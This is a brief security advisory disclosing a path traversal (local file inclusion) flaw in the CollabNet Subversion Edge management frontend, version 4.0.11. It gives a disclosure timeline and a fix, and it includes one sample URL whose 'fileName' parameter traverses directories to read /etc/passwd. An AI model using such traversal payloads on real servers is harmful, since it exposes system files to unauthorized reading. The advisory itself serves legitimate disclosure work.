# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management # Frontend via logfile "fileName" parameter of the "tail" action # # Date: 28.06.2015 # Author: otr # Software Link: https://www.open.collab.net/downloads/svnedge # Vendor: CollabNet # Version: 4.0.11 # Tested on: Fedora Linux # Type: Local file inclusion # # Risk: Medium # Status: public/fixed # Fixed version: 5.0 Timeline: 2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure Summary: The CollabNet Subversion Edge Management Frontend allows authenticated admins to read arbitrary local files via logfile "fileName" parameter of the "tail" action Vulnerability: Sample URL: https://example.com:4434/csvn/log/tail?fileName=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&startIndex=0 Fix proposal: Remove feature or santizes the fileName parameter so that no path traversals and arbitrary file inclusions are possible. Vendor fix: [...] now allow only showing hooks/logs within the intended directories.
